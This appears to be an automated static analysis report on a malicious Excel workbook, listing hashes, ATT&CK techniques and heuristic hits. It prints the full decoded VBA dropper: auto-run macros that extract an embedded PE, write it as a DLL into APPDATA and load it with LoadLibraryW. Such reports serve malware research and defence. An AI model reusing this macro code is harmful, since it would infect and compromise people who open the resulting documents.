Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 df6b82ea59a68b81…

MALICIOUS

Office (OLE)

335.0 KB Created: 2019-08-30 09:14:50 Authoring application: Microsoft Excel First seen: 2020-06-01
MD5: 70f42076b17f8591947495399f23e8c6 SHA-1: b932bfe2cd9171b6bc41d0215b8b29ed5301c522 SHA-256: df6b82ea59a68b81ad4a43f821e407dc1d9f8535cfd89b465aee2d39b185a7fb
356 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1137.001 Office Application Startup: Malware Execution through VBA T1566.001 Spearphishing Attachment: Phishing: Attachment T1105 Ingress Tool Transfer

The sample is an Excel document containing a Workbook_Open VBA macro that executes a second-stage payload. The macro is designed to extract and execute an embedded PE executable, identified as 'embedded_office_00003f62.exe'. It also attempts to write DLLs to the APPDATA directory, likely for persistence or further execution.

Heuristics 10

  • ClamAV: Xls.Dropper.Mrrk-7165692-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Mrrk-7165692-0
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA ActiveX event launches decoded Excel4 macro critical OLE_VBA_ACTIVEX_XLM_STAGER
    The compiled VBA p-code (identifier table) references an auto-firing ActiveX/control event together with ExecuteExcel4Macro, while the decompressed source does not — the VBA-stomping shape of the ActiveX-event XLM stager. The control event bridges into XLM formula execution to call Win32 / drop payloads, hidden from source-level scanners.
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set oApp = CreateObject("Shell.Application")
    oApp.Namespace(ZipFolder).CopyHere oApp.Namespace(ZipName).items.Item("xl\embeddings\oleObject1.bin")
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
ExecuteExcel4Macro "MESSAGE(False, ""Release"")"
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ExecuteExcel4Macro "MESSAGE(False, ""Release"")"
ChDir (Environ("TEMP"))
    UserForm1.Show
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4149 bytes
SHA-256: bc4d22929aafab0741b19ffeeebb809a1d684bd4f072e95f0d50aea4a40e4f7f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "l1"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_Open()
ExecuteExcel4Macro "MESSAGE(False, ""Release"")"
ChDir (Environ("TEMP"))
    UserForm1.Show
ExecuteExcel4Macro "MESSAGE(False, ""Release"")"
End Sub


Attribute VB_Name = "bb"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"


Public Sub CreateGifFile()
    TempName = Environ("TEMP") & "\13.xlsx"
    ZipName = TempName + ".zip"
    ZipFolder = Environ("TEMP") '& "\UnzTmp"
  
    Dim size As Long
    Dim num As Integer
    Dim ADATA As String
    Dim nm As String
    ADATA = Environ("APPDATA")
#If Win64 Then
    nm = ADATA + "\exchange2.dll"
    size = 66560
    num = 2
#Else
    
    nm = ADATA + "\exchange1.dll"
    size = 81920
    num = 1
#End If
        
    On Error Resume Next
    Kill ZipName
    Kill ZipFolder & "\oleObject*.bin"
  
    Kill nm
    On Error GoTo 0

    ThisWorkbook.Sheets.Copy
    Application.DisplayAlerts = False
    ActiveWorkbook.SaveAs TempName, FileFormat:=51
    ActiveWorkbook.Close

    

    FileCopy TempName, ZipName
    
    Set oApp = CreateObject("Shell.Application")
    oApp.Namespace(ZipFolder).CopyHere oApp.Namespace(ZipName).items.Item("xl\embeddings\oleObject1.bin")
    ReadAndWriteExtractedBinFile ZipFolder + "\oleObject1.bin", nm, size, num
    
    ChDir (ADATA)
    Hwnd = k32LL(nm)
    Amway

End Sub
Sub ReadAndWriteExtractedBinFile(s As String, nm As String, fl As Long, num As Integer)
    Dim intFileNum As Long, bytTemp1 As Byte, bytTemp2 As Byte, bytTemp3 As Byte
    Dim NewAr() As Long

    ReDim NewAr(1 To fl)
    NewAr(1) = CByte(77)
    NewAr(2) = CByte(90)
    NewAr(3) = CByte(144)
    
    intFileNum = FreeFile
    Open s For Binary Access Read As intFileNum
    Dim cur As Integer
    cur = 1
    Do While Not EOF(intFileNum)
        Get intFileNum, , bytTemp1
        If bytTemp1 = NewAr(1) Then
           Get intFileNum, , bytTemp2
           If bytTemp2 = NewAr(2) Then
                Get intFileNum, , bytTemp3
                If bytTemp3 = NewAr(3) Then
                     If cur = num Then
                        For k = 4 To fl
                            Get intFileNum, , bytTemp1
                            NewAr(k) = bytTemp1
                            Next k
                         Exit Do
                     Else
                        cur = cur + 1
                     End If
                End If
           End If
        End If
    Loop
    Close intFileNum
    
    intFileNum = FreeFile
    Open nm For Binary Lock Read Write As #intFileNum
    For i = LBound(NewAr) To UBound(NewAr)
        Put #intFileNum, , CByte(NewAr(i))
    Next i

    Close #intFileNum
End Sub



Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{A9B03C46-A8E4-48E7-9B8B-E85FEFDA5FFF}{2C64D114-7F16-492B-839D-10D834C945AA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub UserForm_Activate()

CreateGifFile
End Sub


Attribute VB_Name = "Module2"
#If Win64 Then
    Public Declare PtrSafe Function Amway Lib _
        "exchange2.dll" () As Integer
    Public Declare PtrSafe Function k32LL Lib "kernel32" Alias "LoadLibraryW" (ByVal lpLibFileName As String) As Long
#Else
    Public Declare Function Amway Lib _
        "exchange1.dll" () As Integer
    Public Declare Function k32LL Lib "kernel32" Alias "LoadLibraryW" (ByVal lpLibFileName As String) As Long
#End If
embedded_office_00003f62.exe embedded-pe Office MZ+PE at offset 0x3F62 326814 bytes
SHA-256: bec8064241a8a2a805fc5c3434104c83c1337ebe772a5ba3f1a471e05ae78963
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: MBD00DF3817/Ole10Native 160914 bytes
SHA-256: c7aa678269c21165aa42779576dab8398f8821925e3ce0cc8ec47742d36fd81d

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